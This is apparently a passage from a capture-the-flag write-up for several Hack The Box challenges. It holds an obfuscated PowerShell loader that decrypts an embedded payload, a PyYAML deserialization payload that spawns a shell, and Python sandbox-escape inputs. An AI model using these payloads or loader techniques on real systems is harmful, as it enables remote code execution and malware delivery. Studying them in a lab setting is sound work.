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";

$VuGcO = $YiLGW.Substring(3);

$uZOcm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($VuGcO);

$BacUA = New-Object System.Security.Cryptography.AesManaged;
$BacUA.Mode = [System.Security.Cryptography.CipherMode]::CBC;
$BacUA.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;
$BacUA.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0xdfc6tTBkD+M0zxU7egGVErAsa/NtkVIHXeHDUiW20=');
$BacUA.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2hn/J717js1MwdbbqMn7Lw==');

$Nlgap = $BacUA.CreateDecryptor();
$uZOcm = $Nlgap.TransformFinalBlock($uZOcm, 0, $uZOcm.Length);
$Nlgap.Dispose();
$BacUA.Dispose();

$mNKMr = New-Object System.IO.MemoryStream(, $uZOcm);
$bTMLk = New-Object System.IO.MemoryStream;
$NVPbn = New-Object System.IO.Compression.GZipStream($mNKMr, [IO.Compression.CompressionMode]::Decompress);

$NVPbn.CopyTo($bTMLk);
$NVPbn.Dispose();
$mNKMr.Dispose();
$bTMLk.Dispose();
$uZOcm = $bTMLk.ToArray();

# $gDBNO = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($uZOcm);

# $PtfdQ = $gDBNO.EntryPoint;

Add-Content -Path ".\test.bin" -Value $uZOcm -Encoding Byte

It would write our binary to test.bin file. Let's analyze the resulting binary in dnSpy.

We see that the program name is RelicMaps and it has our flag in Main method.

image-20230322134419482

HTB{0neN0Te?_iT'5_4_tr4P!}

Misc - Hijack (easy)

The security of the alien spacecrafts did not prove very robust, and you have gained access to an interface allowing you to upload a new configuration to their ship's Thermal Control System. Can you take advantage of the situation without raising any suspicion?

We used netcat to connect to the target host. It allowed us to create and load configurations. Creating a configuration returned a long base64 encoded string.

image-20230319200946936

ISFweXRob24vb2JqZWN0Ol9fbWFpbl9fLkNvbmZpZyB7SVJfc3BlY3Ryb21ldGVyX3RlbXA6ICcxJywgYXV0b19jYWxpYnJhdGlvbjogJ09OJywKICBwcm9wdWxzaW9uX3RlbXA6ICcxJywgc29sYXJfYXJyYXlfdGVtcDogJzEnLCB1bml0czogRn0K

The decoded string was a Python YAML serialized object.

image-20230319201010487

In load configuration option, we used base64 encoded version of the following payload, which resulted in a delayed response.

!!python/object/apply:time.sleep [2]

We used the following Python script to create a payload which allowed us to drop in a bash shell on the target.

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess
import base64

class Payload(object):
    def __reduce__(self):
        return (subprocess.Popen,('sh',))

deserialized_data = yaml.dump(Payload()) # serializing data
print(base64.b64encode(deserialized_data.encode("utf-8")))

It created the follwing payload.

ISFweXRob24vb2JqZWN0L2FwcGx5OnN1YnByb2Nlc3MuUG9wZW4KLSBzaAo=

img

HTB{1s_1t_ju5t_m3_0r_iS_1t_g3tTing_h0t_1n_h3r3?}

Misc - Remote computation (easy)

The alien species use remote machines for all their computation needs. Pandora managed to hack into one, but broke its functionality in the process. Incoming computation requests need to be calculated and answered rapidly, in order to not alarm the aliens and ultimately pivot to other parts of their network. Not all requests are valid though, and appropriate error messages need to be sent depending on the type of error. Can you buy us some time by correctly responding to the next 500 requests?

The target application asked us to solve 500 computations in a row without any delays.

image-20230319203831677

We also had to keep the following rules in mind.

image-20230319203501785

We wrote a simple Python script to solve the computations on the fly.

from pwn import *

io = remote("165.232.100.46", 30500)
# context.update(log_level="debug")

io.recvuntil(b"> ")
# Start
io.sendline(b"1")
data = io.recvuntil(b"> ")

counter = 0

while True:
    expression = data.split(b"]: ")[1].split(b"?")[0]
    expression = expression.strip().strip(b"=").strip()
    counter += 1
    print("[+] %d - Expression: %s" % (counter, expression))
    try:
        answer = eval(expression)
        if answer > 1337 or answer < -1337:
            answer = "MEM_ERR"
        else:
            answer = "{:.2f}".format(answer)
    except ZeroDivisionError:
        answer = "DIV0_ERR"
    except SyntaxError:
        answer = "SYNTAX_ERR"
    print("[+] Answer: %s" % answer)
    io.sendline(answer.encode("utf-8"))
    try:
        data = io.recvuntil(b"> ")
    except EOFError:
        io.interactive()
        exit('-')
    pass

Once the script solved 500 computations, the target returned the flag.

image-20230319212030421

HTB{d1v1d3_bY_Z3r0_3rr0r}

Misc - Janken (easy)

As you approach an ancient tomb, you're met with a wise guru who guards its entrance. In order to proceed, he challenges you to a game of Janken, a variation of rock paper scissors with a unique twist. But there's a catch: you must win 100 rounds in a row to pass. Fail to do so, and you'll be denied entry.

We had an ELF binary for this challenge.

janken: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./.glibc/ld-linux-x86-64.so.2, BuildID[sha1]=56b54cdae265aa352fe2ebb016f86af831fd58d3, for GNU/Linux 3.2.0, not stripped

It was basically a game of rock/paper/scissors where we had to win 100 times in a row.

By decompiling the binary, we were able to see the logic used by the program to make the moves. It used rand() with current time as the seed to generate the move.

image-20230320002604576

We were able to predict the moves of the program by using the same logic i.e. using rand() with current timestamp as seed value. We wrote the following Python script to automatically play and win 100 times in a row.

from ctypes import CDLL

import time

from pwn import *

elf = context.binary = ELF("janken")

# context.update(arch="amd64", log_level="debug")

# io = process(elf.path)
io = remote("161.35.168.118", 30556)

io.recvuntil(b">> ")

moves = ["rock", "scissors", "paper"]
defeating_moves = {
    "rock": "paper",
    "scissors": "rock",
    "paper": "scissors",
}

libc = CDLL(".glibc/libc.so.6")
libc.srand(libc.time(0))
predicted_move = moves[libc.rand() % 3]
defeating_move = defeating_moves[predicted_move]

io.sendline(b"1")  # Play
for round in range(1, 100):
    time.sleep(1)
    io.recvuntil(b">> ")
    io.sendline(defeating_move.encode('utf-8'))
    info("Round: %d" % round)
    info("Predicted Move: %s" % predicted_move)
    info("Played Move: %s" % defeating_move)
    print("\n")
    if round >= 99:
        io.interactive()
    else:
        libc = CDLL(".glibc/libc.so.6")
        libc.srand(libc.time(0))
        predicted_move = moves[libc.rand() % 3]
        defeating_move = defeating_moves[predicted_move]
    pass

image-20230320001428256

Intended Way - Logical Bug

There was a much easier way to solve this challenge which was posted in the discord channel once the event was over. The program used strstr on user supplied input to check if the user had a winning move. This is a weak logic because strstr checks for a substring within a string. So we could easily bypass this if statement by supplying the input rockpaperscissors which would always pass the strstr check and the program would always find the winning move within user supplied input. The function strcmp instead of strstr could have fixed this logic bug.

image-20230324122404339

HTB{r0ck_p4p3R_5tr5tr_l0g1c_buG}

Misc - Nehebkaus Trap (medium)

In search of the ancient relic, you go looking for the Pharaoh's tomb inside the pyramids. A giant granite block falls and blocks your exit, and the walls start closing in! You are trapped. Can you make it out alive and continue your quest?

Once we connected to the target, we realized that we were in a Python shell.

image-20230320120835151

It didn't allow us to just execute any piece of code as it was blocking several characters including ', ", _, ., /, and spaces.

We could use eval() and pass it a string in ascii numbers format. We used the following script to make the process easier.

def convert_string(string):
    output = ''
    for char in string:
        output = output + 'chr(' + str(ord(char)) + ')+'
    output = ''.join(output)
    return output.strip('+')

We converted the following string and passed it to eval().

open("flag.txt").read()
print(eval(chr(111)+chr(112)+chr(101)+chr(110)+chr(40)+chr(34)+chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)+chr(34)+chr(41)+chr(46)+chr(114)+chr(101)+chr(97)+chr(100)+chr(40)+chr(41)))

image-20230320125155399

Easier Solutions

There were several other much easier ways to solve this challenge which were shared in the discord channel after the event was over.

The following was shared by R3CN1X#9693.

breakpoint() # drop into Python debugger shell
open("flag.txt", "r").read() # execute any code in Python debugger shell

Another easy bypass was shared by StealthyDev#5177.

eval(input())
HTB{y0u_d3f34t3d_th3_sn4k3_g0d!}